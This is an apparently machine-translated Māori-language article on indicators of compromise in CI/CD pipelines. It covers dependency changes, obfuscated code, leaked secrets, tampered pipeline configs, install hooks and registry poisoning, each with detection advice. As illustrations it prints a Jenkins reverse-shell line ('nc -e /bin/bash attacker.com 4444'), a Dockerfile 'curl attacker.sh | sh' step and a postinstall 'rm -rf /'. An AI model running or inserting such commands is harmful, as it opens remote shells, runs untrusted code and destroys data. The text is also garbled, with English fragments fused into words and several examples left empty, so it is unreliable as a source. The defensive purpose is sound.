Kupu Whakataki: He aha ngā Tohu o te Whakakorenga i roto i te Haumarutanga Ipurangi?
Ko ngā tohu o te takahi ture ngā tohu whakatūpato tuatahi e whakaatu ana tō pūnaha, tō pūnaha rānei pipeline kei te whakaekea pea. I roto i ngā kupu māmā, ngā tohu o te whakaae tahi he tohu i mahue iho i ngā kaiwhakaeke, pērā i ngā mea tauhou loginngā huringa kōnae, ngā pūmanawa kino huna rānei. I roto i Te haumarutanga tukutuku a te IOC, he rite tonu tā rātou mahi ki ngā tapumati i te wāhi hara, e whakaatu ana i te taunakitanga mārama kei te hē tetahi mea. Nō reira, ina pātai ngā kaiwhakawhanake he aha ngā tohu o te whakaae tahi, kāore te whakautu e herea noa ki ngā tūmau, ki ngā pareārai rānei, kei roto hoki ngā mōrearea e huna ana i roto i ngā mea hou CI/CD pipelines.
I roto i ēnei pipelines, ka taea e ngā kaiwhakaeke te whakarerekē i te waehere, te werowero i ngā whakawhirinakitanga kino, te whakarerekē rānei i ngā kaupae hanga me te kore e kitea. Heoi, ko te nuinga o ngā aratohu e aro tonu ana ki ngā tūmau, ki ngā whatunga rānei. Nō reira, kua noho te mekameka tuku pūmanawa hei tētahi o ngā ūnga ngāwari.
Koia te take e kitea ai ngā tohu o te taupatupatu i roto i CI/CD pipelineHe mea nui te s. Engari, ka āwhina i ngā tīma ki te aukati i ngā pūmanawa kino, ki te tiaki i ngā mea ngaro, me te tiaki i ia taahiraa o te tuku pūmanawa.
Ngā Tohu Matua e 10 o te Whakaaetanga i roto i CI/CD Pipelines
I te whakamārama i ngā tohu o te takahi ture, ko te nuinga o ngā rārangi e aro ana ki ngā tūmau, ki ngā whatunga rānei. Heoi anō i roto i CI/CD pipelineHe rerekē rawa ngā tohu o ngā kaiwhakaeke. He mea nui te mōhio ki ēnei tohu mō te parepare matatau. Kei raro nei ngā tohu whero 10 mō te haumarutanga tukutuku a te IOC me mātua mataara ngā kaiwhakawhanake me ngā miihini haumarutanga katoa.
1. Ngā Huringa Whakawhirinakitanga Whakahē
Ko tētahi o ngā tohu matua o te whakaōritenga i roto i te pipelineHe whakahoutanga whakawhirinakitanga ohorere, tauhou hoki a s. He maha ngā wā ka whakamahia e ngā kaiwhakaeke te whakawhirinakitanga a ngā kaiwhakawhanake i roto i ngā kaiwhakahaere mōkihi hei tāpiri i ngā mōkihi morearea.
Hei tauira, i roto i te npm a package.json ka uru ohorere pea te diff ki:
Ahakoa te āhua haumaru o aua huringa, ka taea e rātou te wero i te waehere kua whakararuhia e ngā toroihana ki roto i ia hanganga.
Pānga: ka riro mai i ngā hanganga kua takahia te pūmanawa kino i te pūtake.
Te kitenga: Whakaū i ngā arotake whakawhirinakitanga, aroturuki i ngā rerekētanga kōnae maukati, me te matawai i ngā mōkihi hou i ngā wā katoa.
2. Waehere Pōuri i roto i ngā Hanganga
Ka whakawhirinaki ngā kaituhi pūmanawa kino ki te whakapōrearea hei karo i ngā arotake. Nō reira, ko tēnei tohu o te takahi i roto i CI/CD pipelineKo te s tētahi o ngā mea tino uaua ki te hopu. Inaa, he maha ngā wā ka uru ngā kawenga kua huna ki roto i ngā whare pukapuka pūtake tuwhera, i ngā whakaahua ipu rānei, me te kore whakamōhiotanga.
Hei tauira:
- He mōkihi PyPI e whakamahi ana i
base64.b64decode("cHJpbnQoSGFja2VkKQ=="). - He whakaahua Docker kua whakakiia ki ngā pūrua UPX kāore e hiahiatia.
- JavaScript kī tonu i te
\x41\x42ka mawhiti e huna ana i ngā tahae tiwhikete.
Pānga: Ka whakahaere puku te waehere huna i te wā hanga, i te wā whakahaere rānei, ā, he tohu nui tēnei i roto i te haumarutanga tukutuku a te IOC.
Te kitenga: Whakakotahi SAST me te matawai i ngā pūmanawa kino hei tohu i ngā waehere kua whakakōnaetia, kua tākaihia rānei. Engari, me whakaaro ki te whakapōrearea hei tohu whero e tika ana kia tirotirohia anōtia.
3. Ngā Mea Ngaro i Whakakitea i roto i te Git: He Mōrearea Haumarutanga Ipurangi Matarohia a te IOC
CI/CD pipelineHe maha ngā wā ka riro mai i a rātou ngā mea ngaro mai i ngā putunga raraunga. Heoi anō, ina puta mai ngā mea ngaro i roto i te Git, ka noho ko rātou tētahi o ngā whakautu mārama ki te pātai "he aha ngā tohu o te whakaae tahi i roto i pipelines?” Kia tae mai ngā tohu tuakiri ki Git, ka taea e ngā kaiwhakaeke te whakamahi i aua tohu mō ake tonu atu.
Hei tauira:
- A
.envkōnae kei rotoAWS_SECRET_KEY=. - Ngā tohu i panaia ki roto
config.json. - Kei te kitea tonu ngā mea ngaro i roto i te hītori o Git ahakoa kua tangohia.
Pānga: Mā ngā kī e kitea ana ka taea e ngā kaiwhakaeke te uru tika ki CI/CD pipelinengā pūnaha kapua, ngā pātengi raraunga rānei. Nō reira, koinei tētahi o ngā tohu tino morearea o te takahi ture.
Te kitenga: whakamahi pre-commit hooks me ngā mahi CI mō te matawai ngaro, me te whakakore tonu i ngā kī i turuturu. Hei tāpiri, whakatinanahia te whakatikatika aunoa hei whakaiti i ngā matapihi whakaaturanga.
4. I raweketia Pipeline Whirihoranga: Ngā Tohu Huna o te Whakaaetanga
Pipeline he whāinga nui ngā whirihoranga nā te mea he maha ngā wā ka pahuatia te tukanga mahi katoa e te whakarerekētanga kotahiNō reira, i whakarerekētia pipeline He mōrearea nui ngā kōnae tukutuku a te IOC e kore nei e kitea e ngā taputapu aroturuki tuku iho.
Hei tauira:
I roto i ngā Mahi a GitHub:
- I roto i te GitLab: he mahi kino kua tāpirihia ki
.gitlab-ci.ymle tuku ana i ngā raraunga tairongo. - I roto i a Jenkins:
sh "nc -e /bin/bash attacker.com 4444".
Pānga: Ka huri ēnei huringa kāore i whakaaetia i a koe pipeline ki roto i te tatau papamuri tūturu mō ngā kaiwhakaeke, e kiia ana he tohu mō te takahi i te ture.
Te kitenga: Whakaūtia ngā whirihoranga kua hainatia, me tono whakaaetanga PR, me te aroturuki mō ngā mahi ohorere. Hei tāpiri, whakatakotoria guardrails e aukati aunoa ana i ngā rerengamahi kua whakarerekētia.
5. Manaakitanga IaC Ngā Taunoa
He maha ngā wā ka hangaia he tatau huna e ngā whakamāramatanga hanganga kua whirihorahia hē. Nā reira, ka puta he taunoa whai mana i roto i IaC he mōrearea tukutuku tukutuku matarohia a te IOC.
Hei tauira:
- He pūnaha tuku pod mō te whakatinanatanga o Kubernetes
privileged: true. - Ngā tūtohi ārahi e whakaatu ana i ngā ratonga me
0.0.0.0:22.
Pānga: Ka whiwhi ngā kaiwhakaeke i te urunga taumata-pūtake, ka whakaatu rānei i ngā ratonga ā-roto ki te marea. Nō reira, ka whānui ake te mata o te whakaekenga i ēnei take.
Te kitenga: Anga IaC matawai hei whakamana i te mana iti rawa i mua i te hanumi. Hei tāpiri, kia arotakehia ia whirihoranga hei wāhanga o te pipeline.
6. Ngā Whanoke Hanga Rerekē
He maha ngā wā ka huri ngā kaiwhakaeke pipeline whanonga kia uru ki ngā mahi kino. Arā, ko te mahi hanga rerekē tētahi o ngā whakautu mārama ki ngā tohu o te takahi ture i roto i CI/CD pipelines.
Hei tauira:
- Ka hanga i ngā tono whatunga ki waho ki ngā rohe tauhou.
- I puta whakarere mai a PowerShell i tētahi kaupapa Node.js i te wā
npm install. - He mahi CI e tango ana i ngā kōnae rua nui kāore i tautuhia i roto i ngā tuhinga hanga.
Pānga: Ka taea e ngā hanganga kua takahia te mahi hei pūwāhi tohatoha pūmanawa kino. Engari, ka horahia e rātou ngā kawenga kino puta noa i ia whakatinanatanga.
Te kitenga: Aroturukihia ngā rangitaki hanga mō ngā tukanga, ngā hononga rānei kāore i te tūmanakohia. Hei tāpiri, whirihorahia te kitenga hapa hei tohu i ngā whanonga kei waho i te tikanga.
7. Ngā Hōtuhi Mōkihi Kino hei Tūponotanga Haumarutanga Ipurangi a te IOC
Ka tautoko ngā kaiwhakahaere mōkihi i te huringa ora hooks e whakamahia ana e ngā kaiwhakaeke. Nō reira, ko ngā tuhinga kino i roto i te npm, PyPI, Dockerfiles rānei he tohu kaha mō te takahi i te pūnaha.
Hei tauira:
- npm:
postinstallte oma o te tuhingarm -rf /he tohu rānei ki te C2. - PyPI:
setup.pyte whakahaere i te waehere Python huna i te wā tāutanga. - Kōnae Docker:
RUN curl attacker.sh | sh.
Pānga: Ka whakahaerehia te whakaeke i te wā tāutanga, i mua i te whakamātautau wā-oma. Nō reira, kāore pea ngā kaiwhakawhanake e kite tae noa ki te wā kua roa rawa.
Te kitenga: Matawaihia ngā whakaaturanga mōkihi mō ngā tuhinga tāuta. Hei tāpiri, whakawhāitihia ngā āhuatanga mōrearea hooks in CI/CD ngā mahi hei whakaiti i te pānga.
8. Ngā Tohu Whakamutunga mō te Paitini Rēhita
Ka whakakapi, ka whakarerekē rānei ngā kaiwhakaeke i ngā taonga tuku iho i roto i ngā rēhita, ā, ko ēnei huihuinga he tauira pukapuka o ngā tohu o te takahi i te mekameka tuku. pipelines.
Hei tauira:
- Kua whakahōungia pukutia he tohu whakaahua Docker me tētahi paparanga kua whakakinohia e ngā torotiana.
- Kua whakakapia tētahi mōkihi ā-roto ki tētahi putanga paitini.
- te noho pūmau o te mokowā ingoa npm, pērā i
lodash-proxy.
Pānga: Ka takahia ngā hanganga katoa e whakamahi ana i te taonga rēhita. Ehara i te mea koinā anake, engari ka horapa te takahi ki ngā ratonga o raro iho.
Te kitenga: Whakaūtia ngā tirotiro waitohu me te pono i ngā tango rēhita katoa. Hei tāpiri, aroturukihia te takenga mai o ngā taonga tuku iho me SBOM whakamanatanga.
9. Ngā Mahi Kaiwhakamahi Tauhou hei Taunakitanga IOC
He tohu rerekē tonu kei muri i ngā pūkete kua takahia. Nō reira, ko ngā whanonga rerekē a ngā kaiwhakawhanake he tohu kaha o te takahi ture.
Hei tauira:
- Commiti panaia i te 3 AM i te wā o te rohe.
- Ngā whakaaetanga PR e ngā kaute e hararei ana.
- Pipelineka tīmatahia me te auau rerekē.
Pānga: Ka whakamahia kinotia e ngā kaiwhakaeke ngā tohu tuakiri kua tahaetia hei whakauru i ngā huringa kino. Nā te mea, kāore i whakamanahia commitka ngāwari te whakaranu ki ngā rerengamahi noa.
Te kitenga: Kaupane SCM mahi mō ngā āhuatanga rerekē, whakatinanahia te MFA, me te huri i ngā tohu i ia wā. Hei tāpiri, kia mataara ki ngā mea whakapae commit ngā tauira whakaae rānei.
10. Ngā Tirotiro Pono, Waitohu rānei i Rahua i roto i te Haumarutanga Ipurangi a te IOC
He mea noa engari kāore i te arohia tohu o te whakaae tahi he tirotiro i te pono, i te waitohu rānei i rahua. I roto i te haumarutanga tukutuku a te IOC, ka whakamanahia e ēnei tirotiro te pono o te waehere, o ngā taonga rānei. Mā te peke atu i a rātou ka puta pipelinekua whakakitea.
tauira:
- Kāore te haki SHA256 e ōrite ana ki te tapeke tirotiro e tumanakohia ana.
- He waitohu GPG ngaro, he waitohu kore mana rānei.
- An SBOM e whakaatu ana i ngā taonga kāore anō kia hainatia.
Pānga: Ko te tikanga o ngā hapa o te pono he whakarerekētanga, he paihana rēhita, he werohanga pūmanawa kino rānei.
Te kitenga: Aunoatia ngā tirotiro waitohu, whakamanahia te manatoko i te tapeke tirotiro, me te aukati i ngā wāhanga kāore anō kia hainatia. Engari, me whakaaro ki ia tirotiro i rahua hei tohu mārama mō te takahi ture.
CI/CD Ngā Tohu o te Whakaaetanga i te Tirohanga Kotahi
| Tohu o te Whakaaetanga (IOC) | Pānga ki roto CI/CD Pipelines | Me pehea te Rapu |
|---|---|---|
| Ngā Huringa Whakawhirinakitanga Whakahē | Ka werowerohia e ngā kaiwhakaeke ngā whare pukapuka kino ki roto i ngā kaiwhakahaere mōkihi, ka hua ake he hanganga kua takahia. | Aroturukihia ngā rerekētanga o te kōnae maukati, whakamanahia ngā arotake whakawhirinakitanga, me te matawai tonu i ngā whakawhirinakitanga. |
| Waehere Pōuri i roto i ngā Hanganga | Ka whakahaerehia ngā kawenga huna i te wā hanga, i te wā whakahaere rānei, me te kore e kitea. | whakamahi SAST me te matawai i ngā pūmanawa kino hei tohu i ngā tauira waehere base64, hex, kua tākaihia rānei. |
| Ngā Mea Ngaro i Whakakitea i roto i te Git | Mā ngā tohu turuturu, ngā kī API rānei, ka taea e ngā kaiwhakaeke te uru tika ki ngā pūnaha nui. | Whakahaerehia ngā matawai ngaro i roto i te Git hooks ā, ka whakakore aunoa i ngā tohu tuakiri i turuturu. |
| I whakararuraruhia Pipeline Ngā whirihora | Mā ngā rerengamahi kua whakarerekētia ka taea te tango raraunga, te pupuri rānei i roto CI/CD. | Me whai whakaaetanga PR, me whakamana ngā whirihoranga kua hainatia, me te aroturuki pipeline huringa. |
| Whakaaetia IaC Ngā Taunoa | Ka whakaatuhia ngā taiao kapua e ngā tūranga tino whakaae, ngā taunoa kore haumaru rānei. | Matawaihia ngā kōnae Terraform, Kubernetes, me Helm kia kitea ai te mana iti rawa. |
| Ngā Whēkau Hanga Rerekē | Pipelinee whakamahia ana hei pūwāhi tohatoha pūmanawa kino, hei nekehanga taha rānei. | Tātarihia ngā rangitaki hangahanga mō ngā tikiake ohorere, ngā tukanga, ngā waeatanga atu rānei. |
| Ngā Hōtuhi Mōkihi Kino | Ka whakaohohia ngā kawenga e ngā tuhinga huna i mua/i muri i te tāutanga i mua i te whakamātautau wā-oma. | Āraia ngā tuhinga npm/PyPI mōrearea, ā, whakawhāitihia te whakahaerenga i roto i CI/CD mahi. |
| Paitini Rēhita | Ka whakakapia ngā whakaahua pono, ngā kōnae rua rānei i roto i ngā rēhita e ngā taonga kua whakatōkia ki ngā Trojan. | Manatokohia ngā tātaitai, whakamanahia te manatoko waitohu, me te matawai i ngā rēhita mā te matawai. |
| Ngā Mahi Kaiwhakamahi Tauhou | Ka panaia ngā pūkete kino e ngā pūkete kua takahia commits, whakaoho rānei pipelines. | Whakaū i te MFA, aroturukihia commits mō ngā āhuatanga rerekē, me te tātari login tauira. |
| Ngā Tirotiro Pono, Waitohu rānei i Rahua | E tohu ana i te waehere kua whakarerekētia, ngā whakawhirinakitanga, ngā whakaahua rānei e uru ana ki te pipeline. | Aunoatia ngā tirotiro pono, ā, āraia ngā wāhanga kāore i hainatia, kāore rānei i te ōrite. |
He aha i kore ai e tutuki te haumarutanga ipurangi tuku iho a te IOC CI/CD tūponotanga
Ko te nuinga o ngā whakahaere kua aroturuki kē i ngā tohu o te takahi i ngā tūmau, ngā rorohiko, ngā whatunga rānei. Heoi, ko tēnei huarahi matarohia ki te haumarutanga tukutuku a te IOC e kore e aro ki CI/CD pipelines, koinei tētahi o ngā mata whakaeke tino nui ināianei. Ina hoki, pipelineKa whakaatuhia e ngā s ngā tohu taupatupatu ahurei e kore e taea e ngā taputapu tuku iho te kite.
Ngā Tohu o te Whakarerekētanga i roto i te Haumarutanga Tuku Iho
I roto i te haumarutanga tukutuku tuku iho a te IOC, ko te arotahi ko:
- rerekē loginngā wāhitau IP rānei e tohu ana i ngā taipitopito tuakiri kua tahaetia.
- Ngā hapa kōnae whakapae, ngā huringa rēhita rānei e whakaatu ana i te pūmanawa kino.
- He waka puta ohorere e tohu ana ki te tango raraunga.
He tohu rongonui ēnei kua aroturukitia hoki i roto i te Anga MITRE ATT&CK, e whakaatu ana i ngā whanonga me ngā rautaki a te hoariri. He tohu whai hua ēnei. Heoi, e pā ana ki ngā pūnaha whakahaere, ki ngā whatunga umanga rānei. Nō reira, ka ngaro i a rātou te whakararuraru ngawari e tupu ana i mua i te mekameka tuku pūmanawa.
He aha CI/CD Pipelines He Rerekē
CI/CD pipelinehe taiao aunoa ngā wāhi e mahi ai ngā kaiwhakawhanake commit waehere, tāraitanga kukume, me ngā hanganga tuku. E mōhio ana ngā kaiwhakaeke kotahi te whakararuraru i konei ka rere puta noa i ia whakatinanatanga. Nō reira, he aha ngā tohu o te whakararuraru i roto i CI/CD pipelineHe tino rerekē tō rāua āhua:
- I tāpiri pukutia he whakawhirinakitanga kino ki te package.json, ki te requirements.txt rānei.
- Ngā kī API, ngā tohu rānei e whakaatuhia ana i roto i te Git commitngā kōnae s, .env rānei.
- He waehere kua whakapōreareatia kua werohia ki roto i ngā mōkihi npm, PyPI rānei.
- Ngā kōnae Terraform, Kubernetes rānei me ngā taunoa kāore i te haumaru pērā i te privileged: true.
- Pipeline ngā mahi i whakatikahia hei tango raraunga, hei whakatuwhera rānei i ngā tatau o muri.
Ko ēnei tohu taupatupatu i roto i CI/CD noho kore e kitea e standard ngā taputapu haumaru.
Te Āputa i roto i te Haumarutanga Ipurangi a te IOC
Ahakoa e mārama ana te nuinga o ngā tīma ki te hiranga o ngā tohu o te takahi i te pūnaha, ka whakawhirinaki tonu rātou ki te kimi mai i ngā tūmau me ngā rangitaki whatunga. Nō reira, ka taea e ngā kaiwhakaeke te whakamate i ngā hanganga, te whakauru rānei i ngā pūmanawa kino me te kore e waiho i ngā tohu noa. Koia te take i kore ai e kitea ngā aituā pēnei i te tatau muri o XZ Utils, ngā mōkihi npm kino rānei tae noa ki te taenga ki te whakaputanga.
Ko ēnei momo raruraru mekameka tuku ka whakamāramahia anō hoki e CISHe aratohu haumarutanga mekameka tuku a A, e whakatūpato ana kei te piki haere te aro o ngā kaiwhakaeke CI/CD pipelineme ngā rēhita.
Ko te Tangohanga
He mea nui te haumarutanga tukutuku tuku iho a te IOC engari kāore i te rawaka. Engari, me mōhio ngā tīma ki ngā tohu o te takahi ture e pā ana ki CI/CD pipelines. Kātahi anō ka taea e rātou te kite i te waehere kino, i te pipeline te tukino i mua i te horapa puta noa i ngā taiao.
